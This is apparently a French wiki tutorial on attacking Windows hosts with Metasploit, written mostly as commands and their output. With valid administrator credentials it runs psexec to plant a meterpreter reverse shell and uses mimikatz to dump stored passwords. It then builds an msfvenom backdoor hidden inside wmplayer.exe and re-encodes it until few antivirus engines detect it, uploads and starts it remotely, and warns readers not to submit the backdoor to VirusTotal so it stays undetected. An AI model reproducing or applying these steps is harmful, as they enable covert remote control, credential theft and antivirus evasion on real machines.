Table des matières

Metasploit: "meterpreter" contre les "Antivirus"

meterpreter” est une petite suite de commandes qui vient avec le “framework” “metasploit”, et qui permet de “mettre à l'épreuve” la sécurité des postes et des serveurs.

L'utilisation de ces commandes est possible soit après une intrusion par le biais de vulnérabilité (comme "MS17-010"), soit par le biais d'une “porte dérobé” , une “backdoor”.

Ici, nous allons montrer d'abord un usage classique de “meterpreter” à partir d'identifiants “Windows” valides: Il va de soit que plus les identifiants ont des droits élevés, plus “meterpreter” sera en mesure d'extirper des informations sensibles.

Et puis, nous verrons comment esquiver la quasi-totalité des logiciels “Antivirus”, car lorsqu'ils sont présent, ils ont la fâcheuse tendance à considérer le service “meterpreter” comme un vilain malware. ;-)

~~READMORE~~

"metasploit"

Pour savoir comment installer ce “framework” pour Debian, c'est par ici.

L'"exploit" "psexec"

Pour montrer une injection simple de “meterpreter”, on va utiliser l'exploit “psexec” .

NOTA: Ce n'est pas vraiment un “exploit” puisque ça n'utilise aucune vulnérabilité !

On démarre la console “metasploit”:

$ msfconsole

On charge l'“exploit” “psexec”:

msf > use exploit/windows/smb/psexec
msf exploit(psexec) >

On lui associe le “payload” “meterpreter”:

msf exploit(psexec) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(psexec) >

Définir notre adresse et notre port d'écoute:

msf exploit(psexec) > set LHOST 192.168.0.8
msf exploit(psexec) > set LPORT 4444

Définir l'adresse de la cible:

msf exploit(psexec) > set RHOST 192.168.0.23

L'identifiant pour se connecter sur la cible:

msf exploit(psexec) > set SMBDomain .
msf exploit(psexec) > set SMBUser Administrateur
msf exploit(psexec) > set SMBPass <PASSWORD>

Ce qui donne par exemple:

msf exploit(psexec) > show options

Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOST                 192.168.0.23     yes       The target address
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass               <PASSWORD>       no        The password for the specified username
   SMBUser               Administrateur   no        The username to authenticate as


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.0.8      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(psexec) >

Nous voilà prêt, alors go:

msf exploit(psexec) > exploit

[*] Started reverse TCP handler on 192.168.0.8:4444
[*] 192.168.0.23:445 - Connecting to the server...
[*] 192.168.0.23:445 - Authenticating to 192.168.0.23:445 as user 'Administrateur'...
[*] 192.168.0.23:445 - Selecting PowerShell target
[*] 192.168.0.23:445 - Executing the payload...
[+] 192.168.0.23:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (1188415 bytes) to 192.168.0.23
[*] Meterpreter session 2 opened (192.168.0.8:4444 -> 192.168.0.23:56350) at 2017-08-03 23:20:23 +0200

meterpreter >

Voila, notre service “meterpreter” est en fonctionnement sur la cible.

Vérifions juste que nous avons bien les droits “Administrateur”:

meterpreter > getuid
Server username: AUTORITE NT\Syste
meterpreter >

Quelques infos sur la cible atteinte:

meterpreter > sysinfo
Computer        : Victime_PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : fr_FR
Domain          : ILIAD
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

Faisons un petit “dump” des identifiants en mémoire:

meterpreter > load mimikatz
Loading extension mimikatz...Success.
meterpreter >
  
meterpreter > mimikatz_command -f sekurlsa::wdigest
"0;9823712","Kerberos","Tonton","Victime_PC","<PASSWORD>"
"0;229364","Kerberos","thierry","Victime_PC","<PASSWORD>"
... snip ...
meterpreter >

Etc… voir les nombreuses possibilités offertes par ce “service”.

en "Backdoor"

L'"Antivirus" qui nous casse

En pratique, l'injection du service “meterpreter” via l'exploit “psexec” fonctionne bien tant qu'aucun service “Antivirus” ne vient nous arrêter.

Sinon, vous avez des erreurs comme ça (extrait):

...
[-] 192.168.0.22:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::ErrorCode The server responded with error: STATUS_ACCESS_DENIED (Command=117 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) >

On peut essayé d'arrêter le service “antivirus”, mais même avec les droits “Administrateurs”, ce n'est pas toujours possible (service “NOT_STOPPABLE”).

Exemple d'une tentative a distance:

$ net rpc service stop avp -U.\\Administrateur%'<PASSWORD>' -S 192.168.0.22
Control service request failed.  [WERR_INVALID_SERVICE_CONTROL]

Esquiver l'Antivirus

En théorie

La méthode que je vais utiliser pour échapper aux services “Antivirus”, consiste simplement à camoufler notre “backdoor” par de multiple encodages.

J'ai vu que c'était théoriquement possible sans quitter la console “metasploit”, mais tout mes essais ont échoués…

Donc, je me suis rabattu avec succès sur une solution plus classique, avec la “backdoor” planqué dans un “.exe” Windows…

Créer sa "backdoor" en ".exe"

Sans aucun camouflage et en reprennant les paramètres du chapitre “psexec”, voici comment créer notre “backdoor” en “.exe”.

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.8 LPORT=4444 -f exe > backdoor.exe

Un petit tour sur www.virustotal.com nous montre que notre service est détectable par 38 services “Antivirus” sur 64 testés.

Camouflage de notre "backdoor"

Choisir une template

On recherche un “.exe” parfaitement fonctionnelle et ordinaire dans lequel on pourrait cacher notre “backdoor”.

Il s'est avéré que l’exécutable “wmplayer.exe” présent dans l'environnement “wine” répond parfaitement a nos besoins.
Mais libre à vous de choisir un autre “.exe”, par exemple “notepad.exe” de © Micro$oft .

Il faudra toutefois qu'il réponde aux critères suivant:

$ file wmplayer.exe 
wmplayer.exe: PE32+ executable (GUI) x86-64, for MS Windows

Avec cette “template”, on ré-génère notre “backdoor”:

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.8 LPORT=4444 -x wmplayer.exe -f exe > backdoor.exe

Un nouveau test sur www.virustotal.com , et cette fois nous sommes détectable par seulement 10 services “Antivirus” sur 64 .

Faire tourner l'encodage

Mais on va essayé d'ajouter un peu d'encodage pour réduire encore notre surface détectable.

$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.8 LPORT=4444 -e x64/zutto_dekiru -b 'x00x01x0dxfe' -i 4 -x wmplayer.exe -f exe > backdoor.exe

Il faut insister plusieurs fois avant d'obtenir un “.exe” sans erreur, et puis on arrive a générer une “backdoor” détectable par seulement 3 services “Antivirus” sur 64 !

Joindre la "backdoor"

Donc , nous avons notre “backdoor” de prête, mais il faut pouvoir:

  1. Mettre “meterpreter” dans “metasploit” en attente de connexion.
  2. Démarrer la “backdoor”
  3. Joindre la session

"meterpreter" en écoute

Démarrer la console “metasploit”:

$ msfconsole

Configurer notre mise en attente d'une connexion de la “backdoor” “meterpreter”:

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.8
LHOST => 192.168.0.8
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) >

Maintenant, nous démarrons l'attente:

msf exploit(handler) > exploit
[*] Exploit running as background job 0.
msf exploit(handler) >
[*] Started reverse TCP handler on 192.168.0.8:4444

msf exploit(handler) >

Le “job” est là:

msf exploit(handler) > jobs

Jobs
====

  Id  Name                    Payload                              Payload opts
  --  ----                    -------                              ------------
  0   Exploit: multi/handler  windows/x64/meterpreter/reverse_tcp  tcp://192.168.0.8:4444

msf exploit(handler) >

Démarrer la "backdoor"

Plusieurs manière de procéder.

"psexec.py"

La manière la plus simple, c'est avec “psexec.py”.

Télécharger le script python:

$ wget https://raw.githubusercontent.com/CoreSecurity/impacket/impacket_0_9_13/examples/psexec.py

Et puis se connecter à la cible:

$ python psexec.py Administrateur:<PASSWORD>@192.168.0.22
Impacket v0.9.16-dev - Copyright 2002-2017 Core Security Technologies

[*] Requesting shares on 192.168.0.22.....
[*] Found writable share ADMIN$
[*] Uploading file vZFbuVNH.exe
[*] Opening SVCManager on 192.168.0.22.....
[*] Creating service zFeO on 192.168.0.22.....
[*] Starting service zFeO.....
[!] Press help for extra shell commands
Microsoft Windows [version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. Tous droits réservés.

C:\Windows\system32>

Maintenant, on peut télécharger notre “backdoor” (qu'on suppose dans notre répertoire courant):

C:\Windows\system32>put backdoor.exe system32
[*] Uploading backdoor.exe to ADMIN$\system32
C:\Windows\system32>

Et puis on la démarre:

C:\Windows\system32>backdoor.exe
C:\Windows\system32>
"psexec_command"

FIXME

Attraper la session

La “backdoor” étant démarré, si tout va bien, du côté de “metasploit” on voit ça:

[*] Sending stage (194623 bytes) to 192.168.0.22
[*] Meterpreter session 2 opened (192.168.0.8:4444 -> 192.168.0.22:59947) at 2017-09-03 08:45:17 +0200
[+] negotiating tlv encryption
[+] negotiated tlv encryption
[+] negotiated tlv encryption
msf exploit(handler) >

On peut entrer dans la session:

msf exploit(handler) > sessions 2
[*] Starting interaction with 2...

meterpreter >

Et voila, on y est :-D

www.virustotal.com

Un petit mot quand même sur ce magnifique site qu'est “www.virustotal.com” :

SI VOUS VOULEZ CRÉER UNE BACKDOOR INDÉTECTABLE, NE LA SOUMETTEZ PAS A VIRUSTOTAL !

Ou plutôt:

tous unis

En effet, il faut savoir que dès que votre “.exe” est passé à la moulinette de tests de “www.virustotal.com”, si 1 seul “Antivirus” détecte quoi que ce soit, soyez sur que dans les heures suivantes, d'autres “Antivirus” vont, soudainement, le détecter aussi.

J'imagine qu'il y a soit des traitements de recherche en arrière plan plus long qui s'opèrent, et dont le résultat est connu quelques heures plus tard.
Ou soit, que chaque système “Antivirus” mutualise ses résultats afin que tout les autres en profitent en mettant à jour leurs propres bases de signatures virales.

test moi

L'autre truc “marrant”, c'est que les scripts et les “.exe” soumis via “www.virustotal.com” sont exécutes en arrière plan dans des machines virtuelles…

Ainsi, concrètement, si vous créez une “backdoor” renvoyant sur votre service “meterpreter” , vous avez quelques secondes où vous pouvez prendre le contrôle d'une machine virtuelles qui ce trouve à l'autre bout du monde…

J'imagine que les développeurs ont mis en place ce stratagème pour tracer le comportement des logiciels suspects…

Ça serait le comble s'il était possible de mettre au point un virus capable de compromettre une machine virtuelle et puis de se déployer dans les labo des entreprises d'“Antivirus” , jusqu'à compromettre l'ensemble de leurs systèmes… Une sorte d'AlienWare LOL